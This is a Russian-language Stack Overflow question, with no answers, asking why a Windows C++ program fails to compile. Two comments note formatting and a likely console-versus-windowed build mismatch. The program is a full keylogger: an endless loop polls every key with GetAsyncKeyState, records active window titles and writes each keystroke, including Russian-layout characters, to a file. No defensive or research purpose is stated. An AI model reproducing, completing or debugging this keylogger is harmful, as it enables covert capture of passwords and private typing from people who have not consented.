0

Не компилируется код... выдает ошибку с фото....введите сюда описание изображения

#include <Windows.h>
#include <fstream>
#include <string>

using namespace std;

const char filename[] = "keys.log";

int CALLBACK WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { string lastTitle = ""; char d; string path = "myFile.txt"; ofstream ofs; ofs.open(path); wchar_t wChar; char title[1024]; byte lpKeyboard[256]; DWORD processId; HWND hwnd; HKL kLayout;

WORD rusLangId = MAKELANGID(LANG_RUSSIAN, SUBLANG_DEFAULT);

while (true)
{
    Sleep(1);

    hwnd = GetForegroundWindow();
    GetWindowText(hwnd, title, 1023);
    if (lastTitle != title)
    {
        ofs &lt;&lt; endl &lt;&lt; &quot;Window:&quot;;

        if (strlen(title) == 0)
            ofs &lt;&lt; &quot;No active window&quot;;
        else
            ofs &lt;&lt; &quot;'&quot; &lt;&lt; title &lt;&lt; &quot;'&quot;;

        ofs &lt;&lt; endl &lt;&lt; &quot;Keys:&quot;;
        lastTitle = title;
    }

    kLayout = GetKeyboardLayout(GetWindowThreadProcessId(hwnd, &amp;processId));

    for (unsigned char c = 1; c &lt; 255; c++)
    {
        if (GetAsyncKeyState(c) &amp; 1)
        {
            switch (c)
            {
            case VK_LBUTTON:
                ofs &lt;&lt; &quot;&lt;LMOUSE&gt;&quot;;
                break;

            case VK_RBUTTON:
                ofs &lt;&lt; &quot;&lt;RMOUSE&gt;&quot;;
                break;

            case VK_MBUTTON:
                ofs &lt;&lt; &quot;&lt;MMOUSE&gt;&quot;;
                break;

            case VK_RETURN:
                ofs &lt;&lt; &quot;&lt;RETURN&gt;&quot;;
                break;

            case VK_LSHIFT:
            case VK_RSHIFT:
            case VK_LCONTROL:
            case VK_RCONTROL:
            case VK_LMENU:
            case VK_RMENU:
                break;

            case VK_SHIFT:
                ofs &lt;&lt; &quot;&lt;SHIFT&gt;&quot;;
                break;

            case VK_CONTROL:
                ofs &lt;&lt; &quot;&lt;CTRL&gt;&quot;;
                break;

            case VK_MENU:
                ofs &lt;&lt; &quot;&lt;ALT&gt;&quot;;
                break;

            case VK_BACK:
                ofs &lt;&lt; &quot;&lt;BACKSPACE&gt;&quot;;
                break;

            case VK_TAB:
                ofs &lt;&lt; &quot;&lt;TAB&gt;&quot;;
                break;

            case VK_ESCAPE:
                ofs &lt;&lt; &quot;&lt;ESC&gt;&quot;;
                break;

            case VK_PRIOR:
                ofs &lt;&lt; &quot;&lt;PAGE UP&gt;&quot;;
                break;

            case VK_NEXT:
                ofs &lt;&lt; &quot;&lt;PAGE DOWN&gt;&quot;;
                break;

            case VK_END:
                ofs &lt;&lt; &quot;&lt;END&gt;&quot;;
                break;

            case VK_HOME:
                ofs &lt;&lt; &quot;&lt;HOME&gt;&quot;;
                break;

            case VK_LEFT:
                ofs &lt;&lt; &quot;&lt;ARROW LEFT&gt;&quot;;
                break;

            case VK_UP:
                ofs &lt;&lt; &quot;&lt;ARROW UP&gt;&quot;;
                break;

            case VK_RIGHT:
                ofs &lt;&lt; &quot;&lt;ARROW RIGHT&gt;&quot;;
                break;

            case VK_DOWN:
                ofs &lt;&lt; &quot;&lt;ARROW DOWN&gt;&quot;;
                break;

            case VK_INSERT:
                ofs &lt;&lt; &quot;&lt;INS&gt;&quot;;
                break;

            case VK_DELETE:
                ofs &lt;&lt; &quot;&lt;DEL&gt;&quot;;
                break;

            case VK_LWIN:
            case VK_RWIN:
                ofs &lt;&lt; &quot;&lt;WIN&gt;&quot;;
                break;

            case VK_MULTIPLY:
                ofs &lt;&lt; &quot;&lt;NUM *&gt;&quot;;
                break;

            case VK_ADD:
                ofs &lt;&lt; &quot;&lt;NUM +&gt;&quot;;
                break;

            case VK_SUBTRACT:
                ofs &lt;&lt; &quot;&lt;NUM -&gt;&quot;;
                break;

            case VK_DIVIDE:
                ofs &lt;&lt; &quot;&lt;NUM /&gt;&quot;;
                break;

            case VK_CAPITAL:
                ofs &lt;&lt; &quot;&lt;CAPS&gt;&quot;;
                break;

            case VK_NUMLOCK:
                ofs &lt;&lt; &quot;&lt;NUM&gt;&quot;;
                break;

            case VK_SCROLL:
                ofs &lt;&lt; &quot;&lt;SCROLL&gt;&quot;;
                break;

            case VK_SNAPSHOT:
                ofs &lt;&lt; &quot;&lt;PRINT SCREEN&gt;&quot;;
                break;

            case VK_PAUSE:
                ofs &lt;&lt; &quot;&lt;PAUSE&gt;&quot;;
                break;

            case VK_DECIMAL:
                ofs &lt;&lt; &quot;&lt;NUM .&gt;&quot;;
                break;

            case VK_OEM_PLUS:
                ofs &lt;&lt; &quot;+&quot;;
                break;

            case VK_OEM_COMMA:
                if (LOWORD(kLayout) == rusLangId)
                    ofs &lt;&lt; &quot;á&quot;;
                else
                    ofs &lt;&lt; &quot;,&quot;;
                break;

            case VK_OEM_MINUS:
                ofs &lt;&lt; &quot;-&quot;;
                break;

            case VK_OEM_PERIOD:
                if (LOWORD(kLayout) == rusLangId)
                    ofs &lt;&lt; &quot;þ&quot;;
                else
                    ofs &lt;&lt; &quot;.&quot;;
                break;

            case VK_APPS:
                ofs &lt;&lt; &quot;&lt;APP&gt;&quot;;
                break;

            case VK_OEM_1:
                if (LOWORD(kLayout) == rusLangId)
                    ofs &lt;&lt; &quot;æ&quot;;
                else
                    ofs &lt;&lt; &quot;;&quot;;
                break;

            case VK_OEM_2:
                ofs &lt;&lt; &quot;?&quot;;
                break;

            case VK_OEM_3:
                ofs &lt;&lt; &quot;~&quot;;
                break;

            case VK_OEM_4:
                if (LOWORD(kLayout) == rusLangId)
                    ofs &lt;&lt; &quot;õ&quot;;
                else
                    ofs &lt;&lt; &quot;[&quot;;
                break;

            case VK_OEM_5:
                ofs &lt;&lt; &quot;\\&quot;;
                break;

            case VK_OEM_6:
                if (LOWORD(kLayout) == rusLangId)
                    ofs &lt;&lt; &quot;ú&quot;;
                else
                    ofs &lt;&lt; &quot;]&quot;;
                break;

            case VK_OEM_7:
                if (LOWORD(kLayout) == rusLangId)
                    ofs &lt;&lt; &quot;ý&quot;;
                else
                    ofs &lt;&lt; &quot;'&quot;;
                break;

            default:
                if ((c &gt;= 0x41 &amp;&amp; c &lt;= 0x5A) ||
                    (c &gt;= 0x30 &amp;&amp; c &lt;= 0x39) ||
                    (c == VK_SPACE))
                {
                    GetKeyboardState(lpKeyboard);
                    ToUnicodeEx(c, MapVirtualKey(c, 0), lpKeyboard, &amp;wChar, 2, 0, kLayout);
                    WideCharToMultiByte(CP_ACP, 0, &amp;wChar, -1, &amp;d, 1, NULL, NULL);
                    ofs &lt;&lt; d;
                }
                else if (c &gt;= VK_NUMPAD0 &amp;&amp; c &lt;= VK_NUMPAD9)
                    ofs &lt;&lt; &quot;&lt;NUM &quot; &lt;&lt; (c - 96) &lt;&lt; &quot;&gt;&quot;;
                else if (c &gt;= VK_F1 &amp;&amp; c &lt;= VK_F12)
                    ofs &lt;&lt; &quot;&lt;F&quot; &lt;&lt; (c - 111) &lt;&lt; &quot;&gt;&quot;;
                else
                    ofs &lt;&lt; &quot;&lt;UNKNOWN&gt;&quot;;
                break;
            }
            ofs.flush();
        }
    }
}
ofs.close();
return 0;

}

insolor
  • 49,104
  • 1
    добро пожаловать на Stack Overflow на русском! текстовую информацию лучше прилагать в виде текста: а) читать легче; б) можно копировать; в) поиск работает. исправить текст вопроса можно, нажав [edit] ниже текста вопроса – aleksandr barakin May 27 '22 at 09:33
  • Похоже, компилируете оконное приложение как консольное. – Mikhajlo May 27 '22 at 18:18

0 Answers0